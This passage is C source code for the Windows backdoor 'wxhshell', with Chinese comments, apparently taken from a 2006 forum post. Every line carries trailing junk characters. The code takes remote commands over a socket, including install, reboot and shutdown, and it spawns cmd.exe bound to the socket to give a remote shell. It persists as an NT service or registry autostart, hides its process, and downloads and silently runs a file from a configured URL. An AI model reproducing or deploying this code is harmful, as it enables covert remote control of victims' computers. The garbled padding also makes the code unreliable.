  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (CAkzgTfc  
  } voJJoy%  
  else { 'a:';hU3f  
43~v1pf{!  
    switch(cmd[0]) { H.o3d/8:  
  i<q_d7-W'  
  // 帮助 PI"6d)S2  
  case '?': { ID<[=es6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KTeR;6oZn"  
    break; ?JW/Stua  
  } Jid_&\  
  // 安装 $4^h>x  
  case 'i': { \XfLTv  
    if(Install()) JbN,K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^g.H JQ'vF  
    else [@]i_L[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L=WKqRa>4  
    break; qca=a }  
    } Pu'NSNT  
  // 卸载 K@{R?j/+  
  case 'r': { o|_9%o52'  
    if(Uninstall()) _B vGEM`o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $bN_0s0:'  
    else c4s,T"H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H;[?8h(  
    break; =Q6JXp  
    } y I[kaH"J  
  // 显示 wxhshell 所在路径 iP1yy5T  
  case 'p': { H29vuGQjq  
    char svExeFile[MAX_PATH]; A7T(p7pP  
    strcpy(svExeFile,"\n\r"); uC[F'\Y  
      strcat(svExeFile,ExeFile); 0C6T>E7  
        send(wsh,svExeFile,strlen(svExeFile),0); FtDF}   
    break; 2tQ?=V(Di  
    } _{GD\Ai_W  
  // 重启 <oSx'_dc  
  case 'b': { Jyp7+M]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [fs.D /  
    if(Boot(REBOOT)) S%wd Xe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pr1kYMrqri  
    else { l7Wdbx5x0  
    closesocket(wsh); M<SVH_  
    ExitThread(0); =NWzsRl,  
    } G-#rWZ&  
    break; c_aj-`BKp  
    } kZR(0, W  
  // 关机 dl6Ju  
  case 'd': { NL'(/|)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {s=c!08=  
    if(Boot(SHUTDOWN)) "#h/sAIs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `1#Z9&bO  
    else { Q<yvpT(  
    closesocket(wsh); t"5ZYa  
    ExitThread(0); BHU=TK@GR  
    } '<O.J(N~4!  
    break; n1b^o~agwC  
    } R{6M(!x  
  // 获取shell } V"A;5j`  
  case 's': { WE+Szg(4x  
    CmdShell(wsh); S7@/d HN  
    closesocket(wsh); R_vK^Da  
    ExitThread(0); '>Thn{  
    break; n 8FIxl&u  
  } 8:Dkf v  
  // 退出 J?1Eh14KZ  
  case 'x': { *|gl1S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <<-BQ l~  
    CloseIt(wsh); &3itBQF  
    break; =p dLh  
    } 29&F_  
  // 离开 Bp4#"y2  
  case 'q': { l-SVI9|<0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ET%F+  
    closesocket(wsh); R''2o_F6  
    WSACleanup(); Rhw+~gd*F  
    exit(1); 7 4hRG~  
    break; 'CRjd~L  
        } []?*}o5&>T  
  } ?ea5k*#a  
  } Ml )<4@  
sXY{g0%  
  // 提示信息 kZfj"+p_S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eu//Q'W  
}  gOp81)  
  } a;&0u>  
PeSTUR&  
  return; Vw`%|x"Xz  
} th5UzpB4  
XRP+0=0  
// shell模块句柄 (aB:P03  
int CmdShell(SOCKET sock) ( v$ i  
{ Qz$Wp*  
STARTUPINFO si;  TZdJq  
ZeroMemory(&si,sizeof(si));  l .m #  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V=Z%y$1Bc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zj0h0Vt  
PROCESS_INFORMATION ProcessInfo; 7>EMr}f C  
char cmdline[]="cmd"; rAD4}A_w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %~0]o@LW7  
  return 0; 51ILR9 Bc_  
} (.b!kfC  
fr8';Jm  
// 自身启动模式 @[Wf!8_  
int StartFromService(void) &7Xsn^opku  
{ ${97G#  
typedef struct C%/@U[;  
{ BLm}mb#/{  
  DWORD ExitStatus; 1\/~>  
  DWORD PebBaseAddress; 'G`xD3 E3,  
  DWORD AffinityMask; yz)Nco]  
  DWORD BasePriority; >VG*La' c  
  ULONG UniqueProcessId; q } (f9  
  ULONG InheritedFromUniqueProcessId; <d{>[R)  
}   PROCESS_BASIC_INFORMATION; ZR8y9mx2"  
V-"#Kf9  
PROCNTQSIP NtQueryInformationProcess; .m xc~  
YDgG2hT/2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C\ 34R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6HH:K0j3'  
u5`b")a  
  HANDLE             hProcess; {RD9j1  
  PROCESS_BASIC_INFORMATION pbi; f3<253 1/}  
vJ;0%;eu[!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }hXmK.['  
  if(NULL == hInst ) return 0; khQ fLA  
`'pfBVBz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WISK-z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 52r\Q}v$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j ~I_by  
,,?XGx  
  if (!NtQueryInformationProcess) return 0;  p.,`3"C1  
xSq+>,b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )H&ZHaO,_  
  if(!hProcess) return 0; }x_:v!G  
1b@]^Ue  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }xgs]\^,73  
yXf+dMv  
  CloseHandle(hProcess); j3[kG#  
tNAmA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >B.KI}dE  
if(hProcess==NULL) return 0; )?( _vrc<  
SN$3cg]z  
HMODULE hMod; '1Ex{$Yk  
char procName[255]; $`L |  
unsigned long cbNeeded; 2=| Ks]<P  
Jb)xzUhES  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K)eyFc  
.AF\[IQ  
  CloseHandle(hProcess); }#n d&ND  
? O9|  
if(strstr(procName,"services")) return 1; // 以服务启动 #5X+. !L  
6g)CpZU  
  return 0; // 注册表启动 8w~X4A,  
} = jTC+0u  
.la_u8A]  
// 主模块  o%$R`;  
int StartWxhshell(LPSTR lpCmdLine) p`'3Il3  
{ )0=H)k0  
  SOCKET wsl; tHFUV\D;,  
BOOL val=TRUE; EIOP+9zP  
  int port=0; C`8.8  
  struct sockaddr_in door; k40`,;}9  
6-\M }xq?  
  if(wscfg.ws_autoins) Install(); ) gxN' z  
XMLl>w2z  
port=atoi(lpCmdLine); v5W-f0Jo  
j% '~l#nw  
if(port<=0) port=wscfg.ws_port; _V3}F1?W  
[6nN]U~Y  
  WSADATA data; i~m;Ah,#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g? C<@  
o3le[6C/8=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A=np ?wc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )\{]4[9N  
  door.sin_family = AF_INET; `Zci <  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qo80u? *  
  door.sin_port = htons(port); C0&ZQvvy1:  
Z|d+1i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :]8!G- Z  
closesocket(wsl); 2HDWlUTNVO  
return 1; (,RL\1zJ  
} MO|8A18B  
)ZfbM|  
  if(listen(wsl,2) == INVALID_SOCKET) { 161IWos  
closesocket(wsl);  |  
return 1; g,f AV M  
} w1+ %+x  
  Wxhshell(wsl); &InFC5A  
  WSACleanup(); gbFHH,@  
5zF$Q{3  
return 0; ,F=FM>o  
QPB ^%8  
} V:lKF')  
3.Jk-:u %m  
// 以NT服务方式启动 =V:Al   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <{z-<D;  
{ ?p>m ;Aq  
DWORD   status = 0; "lB%"}  
  DWORD   specificError = 0xfffffff; 1CS\1[E  
i8=+ <d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *^ua2s.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2 yRUw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W O'nW  
  serviceStatus.dwWin32ExitCode     = 0; QF$s([  
  serviceStatus.dwServiceSpecificExitCode = 0; 7_L$XIa  
  serviceStatus.dwCheckPoint       = 0; t~Q j$:\  
  serviceStatus.dwWaitHint       = 0; caL \ d  
$]J<^{v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L!Gpk)}[i  
  if (hServiceStatusHandle==0) return; nlc$"(eA[H  
^a7a_M  
status = GetLastError(); VP1 z"j:  
  if (status!=NO_ERROR) Dp?lgw  
{ wjHH%y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {wf5HA  
    serviceStatus.dwCheckPoint       = 0; u/J1Z>0  
    serviceStatus.dwWaitHint       = 0; q( %)^C  
    serviceStatus.dwWin32ExitCode     = status; $,nidK!"  
    serviceStatus.dwServiceSpecificExitCode = specificError; R 3*{"!O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K!v\r"N  
    return; xN!In-v[j;  
  } Xj<xen(  
r>6FJ:Tx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]#W9l\  
  serviceStatus.dwCheckPoint       = 0; I.U=%{.  
  serviceStatus.dwWaitHint       = 0; SgQ(#y|vV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FMT_X  
} x}OJ~Yk]  
NOl/y@#  
// 处理NT服务事件,比如:启动、停止 E=ObfN"ge  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /lc4oXG8  
{ oW6b3Q /B  
switch(fdwControl) !HF<fn  
{ 8k^1:gt^  
case SERVICE_CONTROL_STOP: ~bgM*4GW  
  serviceStatus.dwWin32ExitCode = 0;  8(}cbW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b.cBg.a  
  serviceStatus.dwCheckPoint   = 0; 5 axt\  
  serviceStatus.dwWaitHint     = 0; P}he}k&IR  
  { C-&s$5MzGb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ksyQ_4^SO  
  } pV$A?b"?*  
  return; 7s 0pH+  
case SERVICE_CONTROL_PAUSE: )g ?'Nz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'T]Ok\  
  break; %<MI]D  
case SERVICE_CONTROL_CONTINUE: !j9(%,PR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J$S*QCo  
  break; p\tA&>3-  
case SERVICE_CONTROL_INTERROGATE: .+5;AtN  
  break; "||' -(0  
}; Rpxg 5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {#z[iiB  
} :DFtH13qO  
SOluTFxUw  
// 标准应用程序主函数 ,E2c9V'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) so A] f  
{ it->)?"(6  
]G,BSttD  
// 获取操作系统版本 ozl>Au  
OsIsNt=GetOsVer(); a@! O}f*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |wyua@2  
4Dasj8GsV  
  // 从命令行安装 pJ/{X=y  
  if(strpbrk(lpCmdLine,"iI")) Install(); U}GO* +  
_!%@V=  
  // 下载执行文件 A9z3SJ\vXl  
if(wscfg.ws_downexe) { )00jRuF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w=thaF.  
  WinExec(wscfg.ws_filenam,SW_HIDE); s^/2sjoL  
} nE4rB\  
}'h\;8y  
if(!OsIsNt) { fbkAu  
// 如果时win9x,隐藏进程并且设置为注册表启动 f 2k~(@!h  
HideProc(); DKG; up0  
StartWxhshell(lpCmdLine); G9CL}=lJ,  
} J!yK/*sO,  
else [o.#$(   
  if(StartFromService()) X&A2:A 6\+  
  // 以服务方式启动 F`.W 9H3  
  StartServiceCtrlDispatcher(DispatchTable); h@Ix9!?+  
else jgBJs^JgYG  
  // 普通方式启动 n%6=w9.%c  
  StartWxhshell(lpCmdLine); H^g&e$d0  
G'Uq595'-  
return 0; wYh]3  
}
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只看该作者 1 发表于: 2006-10-10
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